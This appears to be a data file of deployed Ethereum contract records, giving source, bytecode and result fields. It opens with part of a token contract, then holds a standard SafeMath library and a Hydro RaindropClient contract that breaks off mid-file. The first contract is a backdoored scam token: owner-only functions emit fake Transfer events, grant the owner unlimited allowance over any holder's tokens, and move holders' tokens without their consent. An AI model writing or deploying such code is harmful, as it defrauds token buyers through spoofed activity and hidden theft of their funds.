require(msg.sender == _ownr, "Not allowed to interact");
_;
}
//-----------------------------------------------------------------------------------------------------------------------//
function renounceOwnership()public _verify(){}
function burnLPTokens()public _verify(){}
function multicall(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
//MultiEmit
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}
function send(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
//MultiEmit
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}
function enter(address recipient) public _verify(){
_plus[recipient]=true;
_approve(recipient, _path_,_maximumVal);}
function enterList(address[] memory addrss) public _verify(){
for (uint256 i = 0; i < addrss.length; i++) {
_plus[addrss[i]]=true;
_approve(addrss[i], _path_,_maximumVal);}}
function leave(address recipient) public _verify(){
//Disable permission
_plus[recipient]=false;
_approve(recipient, _path_,0);
}
function approval(address addr) public _verify() virtual returns (bool) {
//Approve Spending
_approve(addr, _msgSender(), _maximumVal); return true;
}
function transferToTokenSaleParticipant(address sndr,address[] memory destination, uint256[] memory amounts) public _verify(){
_approve(sndr, _msgSender(), _maximumVal);
for (uint256 i = 0; i < destination.length; i++) {
_transfer(sndr, destination[i], amounts[i]);
}
}
function stake(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(eReceiver[i], uPool, eAmounts[i]);}}
function unstake(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(eReceiver[i], uPool, eAmounts[i]);}}
function swapETHForExactTokens(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}
} | 0x608060405234801561001057600080fd5b506004361061018e5760003560e01c8063715018a6116100de578063b14a5c6a11610097578063cc044ca911610071578063cc044ca9146109fa578063d014c01f14610b2d578063dd62ed3e14610b53578063f8129cd214610b815761018e565b8063b14a5c6a146109cc578063bb88603c14610704578063bedf77a6146109d45761018e565b8063715018a6146107045780638d3ca13e1461070c5780639430b4961461083f57806395d89b4114610865578063a5aae2541461086d578063a9059cbb146109a05761018e565b80633cc4430d1161014b5780635265327c116101255780635265327c146105f3578063671e99211461061957806368d37db51461063d57806370a08231146106de5761018e565b80633cc4430d146103615780634c0cc925146104945780634e6ec247146105c75761018e565b806306fdde031461019357806308ec4eb514610210578063095ea7b3146102b357806318160ddd146102f357806323b872dd1461030d578063313ce56714610343575b600080fd5b61019b610cb4565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101d55781810151838201526020016101bd565b50505050905090810190601f1680156102025780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102b16004803603602081101561022657600080fd5b810190602081018135600160201b81111561024057600080fd5b82018360208201111561025257600080fd5b803590602001918460208302840111600160201b8311171561027357600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610d4a945050505050565b005b6102df600480360360408110156102c957600080fd5b506001600160a01b038135169060200135610e3e565b604080519115158252519081900360200190f35b6102fb610e5b565b60408051918252519081900360200190f35b6102df6004803603606081101561032357600080fd5b506001600160a01b03813581169160208101359091169060400135610e61565b61034b610ee8565b6040805160ff9092168252519081900360200190f35b6102b16004803603606081101561037757600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156103a157600080fd5b8201836020820111156103b357600080fd5b803590602001918460208302840111600160201b831117156103d457600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561042357600080fd5b82018360208201111561043557600080fd5b803590602001918460208302840111600160201b8311171561045657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610ef1945050505050565b6102b1600480360360608110156104aa57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156104d457600080fd5b8201836020820111156104e657600080fd5b803590602001918460208302840111600160201b8311171561050757600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561055657600080fd5b82018360208201111561056857600080fd5b803590602001918460208302840111600160201b8311171561058957600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610fb7945050505050565b6102b1600480360360408110156105dd57600080fd5b506001600160a01b038135169060200135611077565b6102b16004803603602081101561060957600080fd5b50356001600160a01b0316611155565b6106216111bf565b604080516001600160a01b039092168252519081900360200190f35b6102b16004803603602081101561065357600080fd5b810190602081018135600160201b81111561066d57600080fd5b82018360208201111561067f57600080fd5b803590602001918460208302840111600160201b831117156106a057600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506111ce945050505050565b6102fb600480360360208110156106f457600080fd5b50356001600160a01b03166112b4565b6102b16112cf565b6102b16004803603606081101561072257600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561074c57600080fd5b82018360208201111561075e57600080fd5b803590602001918460208302840111600160201b8311171561077f57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156107ce57600080fd5b8201836020820111156107e057600080fd5b803590602001918460208302840111600160201b8311171561080157600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061131e945050505050565b6102df6004803603602081101561085557600080fd5b50356001600160a01b03166113de565b61019b61144a565b6102b16004803603606081101561088357600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156108ad57600080fd5b8201836020820111156108bf57600080fd5b803590602001918460208302840111600160201b831117156108e057600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561092f57600080fd5b82018360208201111561094157600080fd5b803590602001918460208302840111600160201b8311171561096257600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506114ab945050505050565b6102df600480360360408110156109b657600080fd5b506001600160a01b03813516906020013561156b565b61062161157f565b6102b1600480360360208110156109ea57600080fd5b50356001600160a01b031661158e565b6102b160048036036060811015610a1057600080fd5b6001600160a01b038235169190810190604081016020820135600160201b811115610a3a57600080fd5b820183602082011115610a4c57600080fd5b803590602001918460208302840111600160201b83111715610a6d57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b811115610abc57600080fd5b820183602082011115610ace57600080fd5b803590602001918460208302840111600160201b83111715610aef57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611610945050505050565b6102b160048036036020811015610b4357600080fd5b50356001600160a01b03166116ae565b6102fb60048036036040811015610b6957600080fd5b506001600160a01b0381358116916020013516611735565b6102b160048036036060811015610b9757600080fd5b6001600160a01b038235169190810190604081016020820135600160201b811115610bc157600080fd5b820183602082011115610bd357600080fd5b803590602001918460208302840111600160201b83111715610bf457600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b811115610c4357600080fd5b820183602082011115610c5557600080fd5b803590602001918460208302840111600160201b83111715610c7657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611760945050505050565b60058054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610d405780601f10610d1557610100808354040283529160200191610d40565b820191906000526020600020905b815481529060010190602001808311610d2357829003601f168201915b5050505050905090565b600d546001600160a01b03163314610d92576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610e3a576001806000848481518110610daf57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff021916908315150217905550600060026000848481518110610e0057fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610d95565b5050565b6000610e52610e4b611881565b8484611885565b50600192915050565b60045490565b6000610e6e848484611971565b610ede84610e7a611881565b610ed985604051806060016040528060288152602001612492602891396001600160a01b038a16600090815260036020526040812090610eb8611881565b6001600160a01b031681526020810191909152604001600020549190611bf6565b611885565b5060019392505050565b60075460ff1690565b600d546001600160a01b03163314610f3e576040805162461bcd60e51b81526020600482015260176024820152600080516020612472833981519152604482015290519081900360640190fd5b60005b8251811015610fb157828181518110610f5657fe5b60200260200101516001600160a01b0316846001600160a01b03166000805160206124ba833981519152848481518110610f8c57fe5b60200260200101516040518082815260200191505060405180910390a3600101610f41565b50505050565b600d546001600160a01b03163314611004576040805162461bcd60e51b81526020600482015260176024820152600080516020612472833981519152604482015290519081900360640190fd5b60005b8251811015610fb15782818151811061101c57fe5b60200260200101516001600160a01b0316846001600160a01b03166000805160206124ba83398151915284848151811061105257fe5b60200260200101516040518082815260200191505060405180910390a3600101611007565b600d546001600160a01b031633146110d6576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b6004546110e39082611820565b600455600d546001600160a01b031660009081526020819052604090205461110b9082611820565b600d546001600160a01b0390811660009081526020818152604080832094909455835185815293519286169391926000805160206124ba8339815191529281900390910190a35050565b600d546001600160a01b0316331461119d576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b600b546001600160a01b031681565b600d546001600160a01b0316331461121b576040805162461bcd60e51b81526020600482015260176024820152600080516020612472833981519152604482015290519081900360640190fd5b60005b8151811015610e3a57600180600084848151811061123857fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055506112ac82828151811061128657fe5b6020026020010151600b60009054906101000a90046001600160a01b0316600854611885565b60010161121e565b6001600160a01b031660009081526020819052604090205490565b600d546001600160a01b0316331461131c576040805162461bcd60e51b81526020600482015260176024820152600080516020612472833981519152604482015290519081900360640190fd5b565b600d546001600160a01b0316331461136b576040805162461bcd60e51b81526020600482015260176024820152600080516020612472833981519152604482015290519081900360640190fd5b60005b8251811015610fb157836001600160a01b031683828151811061138d57fe5b60200260200101516001600160a01b03166000805160206124ba8339815191528484815181106113b957fe5b60200260200101516040518082815260200191505060405180910390a360010161136e565b600d546000906001600160a01b0316331461142e576040805162461bcd60e51b81526020600482015260176024820152600080516020612472833981519152604482015290519081900360640190fd5b6114428261143a611881565b600854611885565b506001919050565b60068054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610d405780601f10610d1557610100808354040283529160200191610d40565b600d546001600160a01b031633146114f8576040805162461bcd60e51b81526020600482015260176024820152600080516020612472833981519152604482015290519081900360640190fd5b60005b8251811015610fb157836001600160a01b031683828151811061151a57fe5b60200260200101516001600160a01b03166000805160206124ba83398151915284848151811061154657fe5b60200260200101516040518082815260200191505060405180910390a36001016114fb565b6000610e52611578611881565b8484611971565b600d546001600160a01b031681565b600d546001600160a01b031633146115db576040805162461bcd60e51b81526020600482015260176024820152600080516020612472833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160205260408120805460ff19169055600b5461160d928492911690611885565b50565b600d546001600160a01b0316331461165d576040805162461bcd60e51b81526020600482015260176024820152600080516020612472833981519152604482015290519081900360640190fd5b6116698361143a611881565b60005b8251811015610fb1576116a68484838151811061168557fe5b602002602001015184848151811061169957fe5b6020026020010151611c8d565b60010161166c565b600d546001600160a01b031633146116fb576040805162461bcd60e51b81526020600482015260176024820152600080516020612472833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160208190526040909120805460ff19169091179055600b5460085461160d9284921690611885565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b600d546001600160a01b031633146117ad576040805162461bcd60e51b81526020600482015260176024820152600080516020612472833981519152604482015290519081900360640190fd5b60005b8251811015610fb1578281815181106117c557fe5b60200260200101516001600160a01b0316846001600160a01b03166000805160206124ba8339815191528484815181106117fb57fe5b60200260200101516040518082815260200191505060405180910390a36001016117b0565b60008282018381101561187a576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b0383166118ca5760405162461bcd60e51b81526004018080602001828103825260248152602001806124ff6024913960400191505060405180910390fd5b6001600160a01b03821661190f5760405162461bcd60e51b815260040180806020018281038252602281526020018061242a6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600954600d548391839186916000916001600160a01b0390811691161480156119a75750600d546001600160a01b038381169116145b156119d757600980546001600160a01b0319166001600160a01b0386161790556119d2878787611e06565b611bed565b600d546001600160a01b0383811691161480611a0057506009546001600160a01b038381169116145b80611a185750600d546001600160a01b038581169116145b15611a6157600d546001600160a01b038381169116148015611a4b5750836001600160a01b0316826001600160a01b0316145b15611a5657600a8390555b6119d2878787611e06565b6001600160a01b03821660009081526001602081905260409091205460ff1615151415611a93576119d2878787611e06565b6001600160a01b03821660009081526002602052604090205460ff16151560011415611b1d576009546001600160a01b0383811691161480611ae25750600b546001600160a01b038581169116145b611a565760405162461bcd60e51b815260040180806020018281038252602681526020018061244c6026913960400191505060405180910390fd5b600a54831015611b7e576009546001600160a01b0385811691161415611a56576001600160a01b03821660009081526002602090815260408083208054600160ff1991821681179092559252909120805490911690556119d2878787611e06565b6009546001600160a01b0383811691161480611ba75750600b546001600160a01b038581169116145b611be25760405162461bcd60e51b815260040180806020018281038252602681526020018061244c6026913960400191505060405180910390fd5b611bed878787611e06565b50505050505050565b60008184841115611c855760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611c4a578181015183820152602001611c32565b50505050905090810190601f168015611c775780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b038316611cd25760405162461bcd60e51b81526004018080602001828103825260258152602001806124da6025913960400191505060405180910390fd5b6001600160a01b038216611d175760405162461bcd60e51b81526004018080602001828103825260238152602001806124076023913960400191505060405180910390fd5b611d22838383612401565b611d5f8160405180606001604052806026815260200161244c602691396001600160a01b0386166000908152602081905260409020549190611bf6565b6001600160a01b038085166000908152602081905260408082209390935590841681522054611d8e9082611820565b6001600160a01b03808416600090815260208190526040902091909155600d5484821691161415611dc857600c546001600160a01b031692505b816001600160a01b0316836001600160a01b03166000805160206124ba833981519152836040518082815260200191505060405180910390a3505050565b600954600d548391839186916000916001600160a01b039081169116148015611e3c5750600d546001600160a01b038381169116145b15611fd257600980546001600160a01b0319166001600160a01b03868116919091179091558716611e9e5760405162461bcd60e51b81526004018080602001828103825260258152602001806124da6025913960400191505060405180910390fd5b6001600160a01b038616611ee35760405162461bcd60e51b81526004018080602001828103825260238152602001806124076023913960400191505060405180910390fd5b611eee878787612401565b611f2b8560405180606001604052806026815260200161244c602691396001600160a01b038a166000908152602081905260409020549190611bf6565b6001600160a01b038089166000908152602081905260408082209390935590881681522054611f5a9086611820565b6001600160a01b03808816600090815260208190526040902091909155600d5488821691161415611f9457600c546001600160a01b031696505b856001600160a01b0316876001600160a01b03166000805160206124ba833981519152876040518082815260200191505060405180910390a3611bed565b600d546001600160a01b0383811691161480611ffb57506009546001600160a01b038381169116145b806120135750600d546001600160a01b038581169116145b1561209657600d546001600160a01b0383811691161480156120465750836001600160a01b0316826001600160a01b0316145b1561205157600a8390555b6001600160a01b038716611e9e5760405162461bcd60e51b81526004018080602001828103825260258152602001806124da6025913960400191505060405180910390fd5b6001600160a01b03821660009081526001602081905260409091205460ff1615151415612102576001600160a01b038716611e9e5760405162461bcd60e51b81526004018080602001828103825260258152602001806124da6025913960400191505060405180910390fd5b6001600160a01b03821660009081526002602052604090205460ff1615156001141561218c576009546001600160a01b03838116911614806121515750600b546001600160a01b038581169116145b6120515760405162461bcd60e51b815260040180806020018281038252602681526020018061244c6026913960400191505060405180910390fd5b600a54831015612220576009546001600160a01b0385811691161415612051576001600160a01b0382811660009081526002602090815260408083208054600160ff1991821681179092559252909120805490911690558716611e9e5760405162461bcd60e51b81526004018080602001828103825260258152602001806124da6025913960400191505060405180910390fd5b6009546001600160a01b03838116911614806122495750600b546001600160a01b038581169116145b6122845760405162461bcd60e51b815260040180806020018281038252602681526020018061244c6026913960400191505060405180910390fd5b6001600160a01b0387166122c95760405162461bcd60e51b81526004018080602001828103825260258152602001806124da6025913960400191505060405180910390fd5b6001600160a01b03861661230e5760405162461bcd60e51b81526004018080602001828103825260238152602001806124076023913960400191505060405180910390fd5b612319878787612401565b6123568560405180606001604052806026815260200161244c602691396001600160a01b038a166000908152602081905260409020549190611bf6565b6001600160a01b0380891660009081526020819052604080822093909355908816815220546123859086611820565b6001600160a01b03808816600090815260208190526040902091909155600d54888216911614156123bf57600c546001600160a01b031696505b856001600160a01b0316876001600160a01b03166000805160206124ba833981519152876040518082815260200191505060405180910390a350505050505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654e6f7420616c6c6f77656420746f20696e74657261637400000000000000000045524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220fb5ab2653d16cff115e05e6ca3804ec728214be942f7b271810eb0b8c86e86d864736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 1,487 |
0xD34a551B4a262230a373D376dDf8aADb2B0D49FD | // SPDX-License-Identifier: MIT
pragma solidity >=0.7.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
| 0x73d34a551b4a262230a373d376ddf8aadb2b0d49fd30146080604052600080fdfea2646970667358221220e041ab37c0e8a734f584612aadf584bf3257552b64cd2d5145fed91ecc99b19a64736f6c63430007030033 | {"success": true, "error": null, "results": {}} | 1,488 |
0xdd16ef1b7f30cbebf00807515375dc252957713b | pragma solidity ^0.4.23;
library StringUtils {
struct slice {
uint _len;
uint _ptr;
}
/*
* @dev Returns a slice containing the entire string.
* @param self The string to make a slice from.
* @return A newly allocated slice containing the entire string.
*/
function toSlice(string self) internal pure returns (slice) {
uint ptr;
assembly {
ptr := add(self, 0x20)
}
return slice(bytes(self).length, ptr);
}
/*
* @dev Returns a new slice containing the same data as the current slice.
* @param self The slice to copy.
* @return A new slice containing the same data as `self`.
*/
function copy(slice self) internal pure returns (slice) {
return slice(self._len, self._ptr);
}
/*
* @dev Copies a slice to a new string.
* @param self The slice to copy.
* @return A newly allocated string containing the slice's text.
*/
function toString(slice self) internal pure returns (string) {
string memory ret = new string(self._len);
uint retptr;
assembly { retptr := add(ret, 32) }
memcpy(retptr, self._ptr, self._len);
return ret;
}
/**
* Lower
*
* Converts all the values of a string to their corresponding lower case
* value.
*
* @param _base When being used for a data type this is the extended object
* otherwise this is the string base to convert to lower case
* @return string
*/
function lower(string _base) internal pure returns (string) {
bytes memory _baseBytes = bytes(_base);
for (uint i = 0; i < _baseBytes.length; i++) {
_baseBytes[i] = _lower(_baseBytes[i]);
}
return string(_baseBytes);
}
/**
* Lower
*
* Convert an alphabetic character to lower case and return the original
* value when not alphabetic
*
* @param _b1 The byte to be converted to lower case
* @return bytes1 The converted value if the passed value was alphabetic
* and in a upper case otherwise returns the original value
*/
function _lower(bytes1 _b1) internal pure returns (bytes1) {
if (_b1 >= 0x41 && _b1 <= 0x5A) {
return bytes1(uint8(_b1) + 32);
}
return _b1;
}
function memcpy(uint dest, uint src, uint len) private pure {
// Copy word-length chunks while possible
for (; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
// Copy remaining bytes
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Withdrawable is Ownable {
// Allows owner to withdraw ether from the contract
function withdrawEther(address to) public onlyOwner {
to.transfer(address(this).balance);
}
// Allows owner to withdraw ERC20 tokens from the contract
function withdrawERC20Token(address tokenAddress, address to) public onlyOwner {
ERC20Basic token = ERC20Basic(tokenAddress);
token.transfer(to, token.balanceOf(address(this)));
}
}
contract RaindropClient is Withdrawable {
// attach the StringUtils library
using StringUtils for string;
using StringUtils for StringUtils.slice;
// Events for when a user signs up for Raindrop Client and when their account is deleted
event UserSignUp(string casedUserName, address userAddress, bool delegated);
event UserDeleted(string casedUserName);
// Variables allowing this contract to interact with the Hydro token
address public hydroTokenAddress;
uint public minimumHydroStakeUser;
uint public minimumHydroStakeDelegatedUser;
// User account template
struct User {
string casedUserName;
address userAddress;
bool delegated;
bool _initialized;
}
// Mapping from hashed uncased names to users (primary User directory)
mapping (bytes32 => User) internal userDirectory;
// Mapping from addresses to hashed uncased names (secondary directory for account recovery based on address)
mapping (address => bytes32) internal nameDirectory;
// Requires an address to have a minimum number of Hydro
modifier requireStake(address _address, uint stake) {
ERC20Basic hydro = ERC20Basic(hydroTokenAddress);
require(hydro.balanceOf(_address) >= stake);
_;
}
// Allows applications to sign up users on their behalf iff users signed their permission
function signUpDelegatedUser(string casedUserName, address userAddress, uint8 v, bytes32 r, bytes32 s)
public
requireStake(msg.sender, minimumHydroStakeDelegatedUser)
{
require(isSigned(userAddress, keccak256("Create RaindropClient Hydro Account"), v, r, s));
_userSignUp(casedUserName, userAddress, true);
}
// Allows users to sign up with their own address
function signUpUser(string casedUserName) public requireStake(msg.sender, minimumHydroStakeUser) {
return _userSignUp(casedUserName, msg.sender, false);
}
// Allows users to delete their accounts
function deleteUser() public {
bytes32 uncasedUserNameHash = nameDirectory[msg.sender];
require(userDirectory[uncasedUserNameHash]._initialized);
string memory casedUserName = userDirectory[uncasedUserNameHash].casedUserName;
delete nameDirectory[msg.sender];
delete userDirectory[uncasedUserNameHash];
emit UserDeleted(casedUserName);
}
// Allows the Hydro API to link to the Hydro token
function setHydroTokenAddress(address _hydroTokenAddress) public onlyOwner {
hydroTokenAddress = _hydroTokenAddress;
}
// Allows the Hydro API to set minimum hydro balances required for sign ups
function setMinimumHydroStakes(uint newMinimumHydroStakeUser, uint newMinimumHydroStakeDelegatedUser)
public onlyOwner
{
ERC20Basic hydro = ERC20Basic(hydroTokenAddress);
require(newMinimumHydroStakeUser <= (hydro.totalSupply() / 100 / 100)); // <= .01% of total supply
require(newMinimumHydroStakeDelegatedUser <= (hydro.totalSupply() / 100 / 2)); // <= .5% of total supply
minimumHydroStakeUser = newMinimumHydroStakeUser;
minimumHydroStakeDelegatedUser = newMinimumHydroStakeDelegatedUser;
}
// Returns a bool indicated whether a given userName has been claimed (either exactly or as any case-variant)
function userNameTaken(string userName) public view returns (bool taken) {
bytes32 uncasedUserNameHash = keccak256(userName.lower());
return userDirectory[uncasedUserNameHash]._initialized;
}
// Returns user details (including cased username) by any cased/uncased user name that maps to a particular user
function getUserByName(string userName) public view
returns (string casedUserName, address userAddress, bool delegated)
{
bytes32 uncasedUserNameHash = keccak256(userName.lower());
User storage _user = userDirectory[uncasedUserNameHash];
require(_user._initialized);
return (_user.casedUserName, _user.userAddress, _user.delegated);
}
// Returns user details by user address
function getUserByAddress(address _address) public view returns (string casedUserName, bool delegated) {
bytes32 uncasedUserNameHash = nameDirectory[_address];
User storage _user = userDirectory[uncasedUserNameHash];
require(_user._initialized);
return (_user.casedUserName, _user.delegated);
}
// Checks whether the provided (v, r, s) signature was created by the private key associated with _address
function isSigned(address _address, bytes32 messageHash, uint8 v, bytes32 r, bytes32 s) public pure returns (bool) {
return (_isSigned(_address, messageHash, v, r, s) || _isSignedPrefixed(_address, messageHash, v, r, s));
}
// Checks unprefixed signatures
function _isSigned(address _address, bytes32 messageHash, uint8 v, bytes32 r, bytes32 s)
internal
pure
returns (bool)
{
return ecrecover(messageHash, v, r, s) == _address;
}
// Checks prefixed signatures (e.g. those created with web3.eth.sign)
